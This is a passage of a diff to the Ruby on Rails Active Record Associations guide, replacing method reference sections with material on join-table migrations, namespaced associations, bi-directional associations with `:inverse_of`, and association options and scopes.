+class CreateBooks < ActiveRecord::Migration[8.2]
+  def change
+    create_table :books do |t|
+      t.datetime   :published_at
+      t.string     :book_number
+      t.belongs_to :author
+    end
+  end
+end
 ```
 
-##### `collection.where(...)`
-
-The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
+Whereas for an existing table, it might look like this:
 
 ```ruby
-@available_books = @author.books.where(available: true) # No query yet
-@available_book = @available_books.first # Now the database will be queried
+class AddAuthorToBooks < ActiveRecord::Migration[8.2]
+  def change
+    add_reference :books, :author
+  end
+end
 ```
 
-##### `collection.exists?(...)`
-
-The `collection.exists?` method checks whether an object meeting the supplied
-conditions exists in the collection. It uses the same syntax and options as
-[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F).
+#### Creating Join Tables for `has_and_belongs_to_many` Associations
 
-##### `collection.build(attributes = {}, ...)`
+If you create a `has_and_belongs_to_many` association, you need to explicitly
+create the join table. Unless the name of the join table is explicitly specified
+by using the `:join_table` option, Active Record creates the name by using the
+lexical order of the class names. So a join between author and book models will
+give the default join table name of "authors_books" because "a" outranks "b" in
+lexical ordering.
 
-The `collection.build` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+Whatever the name, you must manually generate the join table with an appropriate
+migration. For example, consider these associations:
 
 ```ruby
-@book = @author.books.build(published_at: Time.now,
-                                book_number: "A12345")
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
 
-@books = @author.books.build([
-  { published_at: Time.now, book_number: "A12346" },
-  { published_at: Time.now, book_number: "A12347" }
-])
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
 ```
 
-##### `collection.create(attributes = {})`
+These need to be backed up by a migration to create the `assemblies_parts`
+table.
+
+```bash
+$ bin/rails generate migration CreateAssembliesPartsJoinTable assemblies parts
+```
 
-The `collection.create` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+You can then fill out the migration and ensure that the table is created without
+a primary key.
 
 ```ruby
-@book = @author.books.create(published_at: Time.now,
-                                 book_number: "A12345")
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[8.2]
+  def change
+    create_table :assemblies_parts, id: false do |t|
+      t.bigint :assembly_id
+      t.bigint :part_id
+    end
 
-@books = @author.books.create([
-  { published_at: Time.now, book_number: "A12346" },
-  { published_at: Time.now, book_number: "A12347" }
-])
+    add_index :assemblies_parts, :assembly_id
+    add_index :assemblies_parts, :part_id
+  end
+end
 ```
 
-##### `collection.create!(attributes = {})`
+We pass `id: false` to `create_table` because the join table does not represent
+a model. If you observe any strange behavior in a `has_and_belongs_to_many`
+association like mangled model IDs, or exceptions about conflicting IDs, chances
+are you forgot to set `id: false` when creating your migration.
 
-Does the same as `collection.create` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
-
-#### Options for `has_many`
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+For simplicity, you can also use the method `create_join_table`:
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :books, dependent: :delete_all, validate: false
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[8.2]
+  def change
+    create_join_table :assemblies, :parts do |t|
+      t.index :assembly_id
+      t.index :part_id
+    end
+  end
 end
 ```
 
-The `has_many` association supports these options:
+You can read more about the `create_join_table` method in the [Active Record
+Migration Guides](active_record_migrations.html#creating-a-join-table)
+
+#### Creating Join Tables for `has_many :through` Associations
 
-* `:as`
-* `:autosave`
-* `:class_name`
-* `:counter_cache`
-* `:dependent`
-* `:foreign_key`
-* `:inverse_of`
-* `:primary_key`
-* `:source`
-* `:source_type`
-* `:through`
-* `:validate`
+The main difference in schema implementation between creating a join table for
+`has_many :through` vs `has_and_belongs_to_many` is that the join table for a
+`has_many :through` requires an `id`.
 
-##### `:as`
+```ruby
+class CreateAppointments < ActiveRecord::Migration[8.2]
+  def change
+    create_table :appointments do |t|
+      t.belongs_to :physician
+      t.belongs_to :patient
+      t.datetime :appointment_date
+      t.timestamps
+    end
+  end
+end
+```
 
-Setting the `:as` option indicates that this is a polymorphic association, as discussed [earlier in this guide](#polymorphic-associations).
+### Controlling Association Scope
 
-##### `:autosave`
+By default, associations look for objects only within the current module's
+scope. This feature is particularly useful when declaring Active Record models
+inside a module, as it keeps the associations scoped properly. For example:
 
-If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+```ruby
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+      has_one :account
+    end
 
-##### `:class_name`
+    class Account < ApplicationRecord
+      belongs_to :supplier
+    end
+  end
+end
+```
 
-If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an author has many books, but the actual name of the model containing books is `Transaction`, you'd set things up this way:
+In this example, both the `Supplier` and `Account` classes are defined within
+the same module (`MyApplication::Business`). This organization allows you to
+structure your models into folders based on their scope without needing to
+explicitly specify the scope in every association:
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :books, class_name: "Transaction"
+# app/models/my_application/business/supplier.rb
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+      has_one :account
+    end
+  end
 end
 ```
 
-##### `:counter_cache`
-
-This option can be used to configure a custom named `:counter_cache`. You only need this option when you customized the name of your `:counter_cache` on the [belongs_to association](#options-for-belongs-to).
+```ruby
+# app/models/my_application/business/account.rb
+module MyApplication
+  module Business
+    class Account < ApplicationRecord
+      belongs_to :supplier
+    end
+  end
+end
+```
 
-##### `:dependent`
+It is important to note that while model scoping helps organize your code, it
+does not change the naming convention for your database tables. For instance, if
+you have a `MyApplication::Business::Supplier` model, the corresponding database
+table should still follow the naming convention and be named
+`my_application_business_suppliers`.
 
-Controls what happens to the associated objects when their owner is destroyed:
+However, if the `Supplier` and `Account` models are defined in different scopes,
+the associations will not work by default:
 
-* `:destroy` causes all the associated objects to also be destroyed
-* `:delete_all` causes all the associated objects to be deleted directly from the database (so callbacks will not execute)
-* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed.
-* `:restrict_with_exception` causes an exception to be raised if there are any associated records
-* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects
+```ruby
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+      has_one :account
+    end
+  end
 
-##### `:foreign_key`
+  module Billing
+    class Account < ApplicationRecord
+      belongs_to :supplier
+    end
+  end
+end
+```
 
-By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+To associate a model with a model in a different namespace, you must specify the
+complete class name in your association declaration:
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :books, foreign_key: "cust_id"
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+      has_one :account,
+        class_name: "MyApplication::Billing::Account"
+    end
+  end
+
+  module Billing
+    class Account < ApplicationRecord
+      belongs_to :supplier,
+        class_name: "MyApplication::Business::Supplier"
+    end
+  end
 end
 ```
 
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+By explicitly declaring the `class_name` option, you can create associations
+across different namespaces, ensuring the correct models are linked regardless
+of their module scope.
 
-##### `:inverse_of`
+### Bi-directional Associations
 
-The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+In Rails, it's common for associations between models to be bi-directional,
+meaning they need to be declared in both related models. Consider the following
+example:
 
 ```ruby
 class Author < ApplicationRecord
-  has_many :books, inverse_of: :author
+  has_many :books
 end
 
 class Book < ApplicationRecord
-  belongs_to :author, inverse_of: :books
+  belongs_to :author
 end
 ```
 
-##### `:primary_key`
-
-By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+Active Record will attempt to automatically identify that these two models share
+a bi-directional association based on the association name. This information
+allows Active Record to:
 
-Let's say the `users` table has `id` as the primary_key but it also
-has a `guid` column. The requirement is that the `todos` table should
-hold the `guid` column value as the foreign key and not `id`
-value. This can be achieved like this:
-
-```ruby
-class User < ApplicationRecord
-  has_many :todos, primary_key: :guid
-end
-```
+* Prevent needless queries for already-loaded data:
 
-Now if we execute `@todo = @user.todos.create` then the `@todo`
-record's `user_id` value will be the `guid` value of `@user`.
+    Active Record avoids additional database queries for already-loaded data.
 
+    ```irb
+    irb> author = Author.first
+    irb> author.books.all? do |book|
+    irb>   book.author.equal?(author) # No additional queries executed here
+    irb> end
+    => true
+    ```
 
-##### `:source`
+* Prevent inconsistent data
 
-The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+    Since only one copy of the `Author` object is loaded, it helps to prevent
+    inconsistencies.
 
-##### `:source_type`
+    ```irb
+    irb> author = Author.first
+    irb> book = author.books.first
+    irb> author.name == book.author.name
+    => true
+    irb> author.name = "Changed Name"
+    irb> author.name == book.author.name
+    => true
+    ```
 
-The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association.
+* Automatic saving of associations in more cases:
 
-##### `:through`
+    ```irb
+    irb> author = Author.new
+    irb> book = author.books.new
+    irb> book.save!
+    irb> book.persisted?
+    => true
+    irb> author.persisted?
+    => true
+    ```
 
-The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed [earlier in this guide](#the-has-many-through-association).
+* Validate the [presence](active_record_validations.html#presence) and
+  [absence](active_record_validations.html#absence) of associations in more
+  cases:
 
-##### `:validate`
+    ```irb
+    irb> book = Book.new
+    irb> book.valid?
+    => false
+    irb> book.errors.full_messages
+    => ["Author must exist"]
+    irb> author = Author.new
+    irb> book = author.books.new
+    irb> book.valid?
+    => true
+    ```
 
-If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+Sometimes, you might need to customize the association with options like
+`:foreign_key` or `:class_name`. When you do this, Rails might not automatically
+recognize the bi-directional association involving `:through` or `:foreign_key`
+options.
 
-#### Scopes for `has_many`
+Custom scopes on the opposite association also prevent automatic identification,
+as do custom scopes on the association itself unless
+[`config.active_record.automatic_scope_inversing`][] is set to true.
 
-There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example:
+For example, consider the following model declarations with a custom foreign
+key:
 
 ```ruby
 class Author < ApplicationRecord
-  has_many :books, -> { where processed: true }
+  has_many :books
 end
-```
-
-You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
-
-* `where`
-* `extending`
-* `group`
-* `includes`
-* `limit`
-* `offset`
-* `order`
-* `readonly`
-* `select`
-* `distinct`
-
-##### `where`
-
-The `where` method lets you specify the conditions that the associated object must meet.
 
-```ruby
-class Author < ApplicationRecord
-  has_many :confirmed_books, -> { where "confirmed = 1" },
-    class_name: "Book"
+class Book < ApplicationRecord
+  belongs_to :writer, class_name: "Author", foreign_key: "author_id"
 end
 ```
 
-You can also set conditions via a hash:
+Due to the `:foreign_key` option, Active Record will not automatically recognize
+the bi-directional association, which can lead to several issues:
 
-```ruby
-class Author < ApplicationRecord
-  has_many :confirmed_books, -> { where confirmed: true },
-                              class_name: "Book"
-end
-```
+* Execute needless queries for the same data (in this example causing N+1
+  queries):
 
-If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@author.confirmed_books.create` or `@author.confirmed_books.build` will create books where the confirmed column has the value `true`.
+    ```irb
+    irb> author = Author.first
+    irb> author.books.any? do |book|
+    irb>   book.writer.equal?(author) # This executes an author query for every book
+    irb> end
+    => false
+    ```
 
-##### `extending`
+* Reference multiple copies of a model with inconsistent data:
 
-The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions).
+    ```irb
+    irb> author = Author.first
+    irb> book = author.books.first
+    irb> author.name == book.writer.name
+    => true
+    irb> author.name = "Changed Name"
+    irb> author.name == book.writer.name
+    => false
+    ```
 
-##### `group`
+* Fail to autosave associations:
 
-The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+    ```irb
+    irb> author = Author.new
+    irb> book = author.books.new
+    irb> book.save!
+    irb> book.persisted?
+    => true
+    irb> author.persisted?
+    => false
+    ```
 
-```ruby
-class Author < ApplicationRecord
-  has_many :line_items, -> { group 'books.id' },
-                        through: :books
-end
-```
+* Fail to validate presence or absence:
 
-##### `includes`
+    ```irb
+    irb> author = Author.new
+    irb> book = author.books.new
+    irb> book.valid?
+    => false
+    irb> book.errors.full_messages
+    => ["Author must exist"]
+    ```
 
-You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+To resolve these issues, you can explicitly declare bi-directional associations
+using the `:inverse_of` option:
 
 ```ruby
 class Author < ApplicationRecord
-  has_many :books
+  has_many :books, inverse_of: "writer"
 end
 
 class Book < ApplicationRecord
-  belongs_to :author
-  has_many :line_items
-end
-
-class LineItem < ApplicationRecord
-  belongs_to :book
+  belongs_to :writer, class_name: "Author", foreign_key: "author_id"
 end
 ```
 
-If you frequently retrieve line items directly from authors (`@author.books.line_items`), then you can make your code somewhat more efficient by including line items in the association from authors to books:
-
-```ruby
-class Author < ApplicationRecord
-  has_many :books, -> { includes :line_items }
-end
+By including the `:inverse_of` option in the `has_many` association declaration,
+Active Record will recognize the bi-directional association and behave as
+described in the initial examples above.
 
-class Book < ApplicationRecord
-  belongs_to :author
-  has_many :line_items
-end
+[`config.active_record.automatic_scope_inversing`]:
+    configuring.html#config-active-record-automatic-scope-inversing
 
-class LineItem < ApplicationRecord
-  belongs_to :book
-end
-```
+Association References
+----------------------
 
-##### `limit`
+### Options
 
-The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+While Rails uses intelligent defaults that will work well in most situations,
+there may be times when you want to customize the behavior of the association
+references. Such customizations can be accomplished by passing options blocks
+when you create the association. For example, this association uses two such
+options:
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :recent_books,
-    -> { order('published_at desc').limit(100) },
-    class_name: "Book",
+class Book < ApplicationRecord
+  belongs_to :author, touch: :books_updated_at,
+    counter_cache: true
 end
 ```
 
-##### `offset`
-
-The `offset` method lets you specify the starting offset for fetching objects via an association. For example, `-> { offset(11) }` will skip the first 11 records.
+Each association supports numerous options which you can read more about in
+[`Options` section of each association in the ActiveRecord Associations
+API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html).
+We'll discuss some of the common use cases below.
 
-##### `order`
+#### `:class_name`
 
-The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+If the name of the other model cannot be derived from the association name, you
+can use the `:class_name` option to supply the model name. For example, if a
+book belongs to an author, but the actual name of the model containing authors
+is `Patron`, you'd set things up this way:
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :books, -> { order "date_confirmed DESC" }
+class Book < ApplicationRecord
+  belongs_to :author, class_name: "Patron"
 end
 ```
 
-##### `readonly`
-
-If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
-
-##### `select`
-
-The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+This option is not supported in polymorphic associations, since in that case the
+class name of the associated record is stored in the type column.
 
-WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+#### `:dependent`
 
-##### `distinct`
+Controls what happens to the associated object when its owner is destroyed:
 
-Use the `distinct` method to keep the collection free of duplicates. This is
-mostly useful together with the `:through` option.
+* `:destroy`, when the object is destroyed, `destroy` will be called on its
+  associated objects. This method not only removes the associated records from
+  the database but also ensures that any defined callbacks (like
+  `before_destroy` and `after_destroy`) are executed. This is useful for
+  performing custom logic during the deletion process, such as logging or
+  cleaning up related data.
+* `:delete`, when the object is destroyed, all its associated objects will be
+  deleted directly from the database without calling their `destroy` method.
+  This method performs a direct deletion and bypasses any callbacks or
+  validations in the associated models, making it more efficient but potentially
+  leading to data integrity issues if important cleanup tasks are skipped. Use
+  `delete` when you need to remove records quickly and are confident that no
+  additional actions are required for the associated records.
+* `:destroy_async`: when the object is destroyed, an
+  `ActiveRecord::DestroyAssociationAsyncJob` job is enqueued which will call
+  destroy on its associated objects. Active Job must be set up for this to work.
+  Do not use this option if the association is backed by foreign key constraints
+  in your database. The foreign key constraint actions will occur inside the
+  same transaction that deletes its owner.
+* `:nullify` causes the foreign key to be set to `NULL`. Polymorphic type
+    column is also nullified on polymorphic associations. Callbacks are not
+    executed.
+* `:restrict_with_exception` causes an `ActiveRecord::DeleteRestrictionError`
+    exception to be raised if there is an associated record
+* `:restrict_with_error` causes an error to be added to the owner if there is
+    an associated object
+
+WARNING: You should not specify this option on a `belongs_to` association that
+is connected with a `has_many` association on the other class. Doing so can lead
+to orphaned records in your database because destroying the parent object may
+attempt to destroy its children, which in turn may attempt to destroy the parent
+again, causing inconsistencies.
+
+Do not leave the `:nullify` option for associations with `NOT NULL` database
+constraints. Setting `dependent` to `:destroy` is essential; otherwise, the
+foreign key of the associated object may be set to `NULL`, preventing changes to
+it.
+
+NOTE: The `:dependent` option is ignored with the `:through` option. When using
+`:through`, the join model must have a `belongs_to` association, and the
+deletion affects only the join records, not the associated records.
+
+When using `dependent: :destroy` on a scoped association, only the scoped
+objects are destroyed. For example, in a `Post` model defined as `has_many
+:comments, -> { where published: true }, dependent: :destroy`, calling destroy
+on a post will only delete published comments, leaving unpublished comments
+intact with a foreign key pointing to the deleted post.
+
+You cannot use the `:dependent` option directly on a `has_and_belongs_to_many`
+association. To manage deletions of join table records, handle them manually or
+switch to a `has_many :through` association, which provides more flexibility and
+supports the `:dependent` option.
+
+#### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on
+this model is the name of the association with the suffix `_id` added. The
+`:foreign_key` option lets you set the name of the foreign key directly:
 
 ```ruby
-class Person < ApplicationRecord
-  has_many :readings
-  has_many :articles, through: :readings
+class Supplier < ApplicationRecord
+  has_one :account, foreign_key: "supp_id"
 end
-
-person = Person.create(name: 'John')
-article   = Article.create(name: 'a1')
-person.articles << article
-person.articles << article
-person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
-Reading.all.inspect     # => [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]
 ```
 
-In the above case there are two readings and `person.articles` brings out both of
-them even though these records are pointing to the same article.
+NOTE: Rails does not create foreign key columns for you. You need to explicitly
+define them in your migrations.
 
-Now let's set `distinct`:
+#### `:primary_key`
+
+By default, Rails uses the `id` column as the primary key for its tables. The
+`:primary_key` option allows you to specify a different column as the primary
+key.
+
+For example, if the `users` table uses `guid` as the primary key instead of
+`id`, and you want the `todos` table to reference `guid` as a foreign key
+(`user_id`), you can configure it like this:
 
 ```ruby
-class Person
-  has_many :readings
-  has_many :articles, -> { distinct }, through: :readings
+class User < ApplicationRecord
+  self.primary_key = "guid" # Sets the primary key to guid instead of id
 end
 
-person = Person.create(name: 'Honda')
-article   = Article.create(name: 'a1')
-person.articles << article
-person.articles << article
-person.articles.inspect # => [#<Article id: 7, name: "a1">]
-Reading.all.inspect     # => [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]
+class Todo < ApplicationRecord
+  belongs_to :user, primary_key: "guid" # References the guid column in users table
+end
 ```
 
-In the above case there are still two readings. However `person.articles` shows
-only one article because the collection loads only unique records.
+When you execute `@user.todos.create`, the `@todo` record will have its
+`user_id` value set to the `guid` value of `@user`.
 
-If you want to make sure that, upon insertion, all of the records in the
-persisted association are distinct (so that you can be sure that when you
-inspect the association that you will never find duplicate records), you should
-add a unique index on the table itself. For example, if you have a table named
-`readings` and you want to make sure the articles can only be added to a person once,
-you could add the following in a migration:
+`has_and_belongs_to_many` does not support the `:primary_key` option. For this
+type of association, you can achieve similar functionality by using a join table
+with has_many `:through` association, which gives more flexibility and supports
+the `:primary_key` option. You can read more about this in the
+[`has_many :through` section](#has-many-through).
 
-```ruby
-add_index :readings, [:person_id, :article_id], unique: true
-```
+#### `:touch`
 
-Once you have this unique index, attempting to add the article to a person twice
-will raise an `ActiveRecord::RecordNotUnique` error:
+If you set the `:touch` option to `true`, then the `updated_at` or `updated_on`
+timestamp on the associated object will be set to the current time whenever this
+object is saved or destroyed:
 
 ```ruby
-person = Person.create(name: 'Honda')
-article = Article.create(name: 'a1')
-person.articles << article
-person.articles << article # => ActiveRecord::RecordNotUnique
+class Book < ApplicationRecord
+  belongs_to :author, touch: true
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
 ```
 
-Note that checking for uniqueness using something like `include?` is subject
-to race conditions. Do not attempt to use `include?` to enforce distinctness
-in an association. For instance, using the article example from above, the
-following code would be racy because multiple users could be attempting this
-at the same time:
+In this case, saving or destroying a book will update the timestamp on the
+associated author. You can also specify a particular timestamp attribute to
+update:
 
 ```ruby
-person.articles << article unless person.articles.include?(article)
+class Book < ApplicationRecord
+  belongs_to :author, touch: :books_updated_at
+end
 ```
 
-#### When are Objects Saved?
-
-When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
-
-If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
-
-If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+`has_and_belongs_to_many` does not support the `:touch` option. For this type of
+association, you can achieve similar functionality by using a join table with
+`has_many :through` association. You can read more about this in the
+[`has_many :through` section](#has-many-through).
 
-If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method.
+#### `:validate`
 
-### `has_and_belongs_to_many` Association Reference
+If you set the `:validate` option to `true`, then new associated objects will be
+validated whenever you save this object. By default, this is `false`: new
+associated objects will not be validated when this object is saved.
 
-The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+`has_and_belongs_to_many` does not support the `:validate` option. For this type
+of association, you can achieve similar functionality by using a join table with
+has_many `:through` association. You can read more about this in the
+[`has_many :through` section](#has-many-through).
 
-#### Methods Added by `has_and_belongs_to_many`
-
-When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association:
 
-* `collection`
-* `collection<<(object, ...)`
-* `collection.delete(object, ...)`
-* `collection.destroy(object, ...)`
-* `collection=(objects)`
-* `collection_singular_ids`
-* `collection_singular_ids=(ids)`
-* `collection.clear`
-* `collection.empty?`
-* `collection.size`
-* `collection.find(...)`
-* `collection.where(...)`
-* `collection.exists?(...)`
-* `collection.build(attributes = {})`
-* `collection.create(attributes = {})`
-* `collection.create!(attributes = {})`
+#### `:inverse_of`
 
-In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+The `:inverse_of` option specifies the name of the `belongs_to` association that
+is the inverse of this association. See the [bi-directional
+association](#bi-directional-associations) section for more details.
 
 ```ruby
-class Part < ApplicationRecord
-  has_and_belongs_to_many :assemblies
+class Supplier < ApplicationRecord
+  has_one :account, inverse_of: :supplier
 end
-```
-
-Each instance of the `Part` model will have these methods:
 
-```ruby
-assemblies
-assemblies<<(object, ...)
-assemblies.delete(object, ...)
-assemblies.destroy(object, ...)
-assemblies=(objects)
-assembly_ids
-assembly_ids=(ids)
-assemblies.clear
-assemblies.empty?
-assemblies.size
-assemblies.find(...)
-assemblies.where(...)
-assemblies.exists?(...)
-assemblies.build(attributes = {}, ...)
-assemblies.create(attributes = {})
-assemblies.create!(attributes = {})
+class Account < ApplicationRecord
+  belongs_to :supplier, inverse_of: :account
+end
 ```
 
-##### Additional Column Methods
+#### `:source_type`
 
-If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+The `:source_type` option specifies the source association type for a `has_many
+:through` association that proceeds through a [polymorphic
+association](#polymorphic-associations).
 
-WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`.
+```ruby
+class Author < ApplicationRecord
+  has_many :books
+  has_many :paperbacks, through: :books, source: :format, source_type: "Paperback"
+end
 
+class Book < ApplicationRecord
+  belongs_to :format, polymorphic: true
+end
 
-##### `collection`
+class Hardback < ApplicationRecord; end
+class Paperback < ApplicationRecord; end
+```
 
-The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+#### `:strict_loading`
 
-```ruby
-@assemblies = @part.assemblies
-```
+Enforces strict loading every time an associated record is loaded through this
+association.
 
-##### `collection<<(object, ...)`
+#### `:association_foreign_key`
 
-The `collection<<` method adds one or more objects to the collection by creating records in the join table.
+The `:association_foreign_key` can be found on a `has_and_belongs_to_many`
+relationship. By convention, Rails assumes that the column in the join table
+used to hold the foreign key pointing to the other model is the name of that
+model with the suffix `_id` added. The `:association_foreign_key` option lets
+you set the name of the foreign key directly. For example:
 
 ```ruby
-@part.assemblies << @assembly1
+class User < ApplicationRecord
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
 ```
 
-NOTE: This method is aliased as `collection.concat` and `collection.push`.
-
-##### `collection.delete(object, ...)`
-
-The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+TIP: The `:foreign_key` and `:association_foreign_key` options are useful when
+setting up a many-to-many self-join.
 
-```ruby
-@part.assemblies.delete(@assembly1)
-```
+#### `:join_table`
 
-##### `collection.destroy(object, ...)`
+The `:join_table` can be found on a `has_and_belongs_to_many` relationship. If
+the default name of the join table, based on lexical ordering, is not what you
+want, you can use the `:join_table` option to override the default.
 
-The `collection.destroy` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+#### `:deprecated`
 
-```ruby
-@part.assemblies.destroy(@assembly1)
-```
+If true, Active Record warns every time the association is used.
 
-##### `collection=(objects)`
+Three reporting modes are supported (`:warn`, `:raise`, and `:notify`), and
+backtraces can be enabled or disabled. Defaults are `:warn` mode and disabled
+backtraces.
 
-The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database.
+Please, check the documentation of `ActiveRecord::Associations::ClassMethods`
+for further details.
 
-##### `collection_singular_ids`
+### Scopes
 
-The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+Scopes allow you to specify common queries that can be referenced as method
+calls on the association objects. This is useful for defining custom queries
+that are reused in multiple places in your application. For example:
 
 ```ruby
-@assembly_ids = @part.assembly_ids
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { where active: true }
+end
 ```
 
-##### `collection_singular_ids=(ids)`
+#### General Scopes
 
-The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database.
+You can use any of the standard [querying methods](active_record_querying.html)
+inside the scope block. The following ones are discussed below:
 
-##### `collection.clear`
 
-The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
+* `where`
+* `includes`
+* `readonly`
+* `select`
 
-##### `collection.empty?`
+##### `where`
 
-The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+The `where` method lets you specify the conditions that the associated object
+must meet.
 
 ```ruby
-<% if @part.assemblies.empty? %>
-  This part is not used in any assemblies
-<% end %>
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { where "factory = 'Seattle'" }
+end
 ```
 
-##### `collection.size`
-
-The `collection.size` method returns the number of objects in the collection.
+You can also set conditions via a hash:
 
 ```ruby
-@assembly_count = @part.assemblies.size
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { where factory: "Seattle" }
+end
 ```
 
-##### `collection.find(...)`
+If you use a hash-style `where`, then record creation via this association will
+be automatically scoped using the hash. In this case, using
+`@parts.assemblies.create` or `@parts.assemblies.build` will create assemblies
+where the `factory` column has the value "Seattle".
 
-The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection.
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that
+should be eager-loaded when this association is used. For example, consider
+these models:
 
 ```ruby
-@assembly = @part.assemblies.find(1)
-```
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  belongs_to :representative
+end
 
-##### `collection.where(...)`
+class Representative < ApplicationRecord
+  has_many :accounts
+end
+```
 
-The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
+If you frequently retrieve representatives directly from suppliers
+(`@supplier.account.representative`), then you can make your code somewhat more
+efficient by including representatives in the association from suppliers to
+accounts:
 
 ```ruby
-@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
-```
+class Supplier < ApplicationRecord
+  has_one :account, -> { includes :representative }
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  belongs_to :representative
+end
 
-##### `collection.exists?(...)`
+class Representative < ApplicationRecord
+  has_many :accounts
+end
+```
 
-The `collection.exists?` method checks whether an object meeting the supplied
-conditions exists in the collection. It uses the same syntax and options as
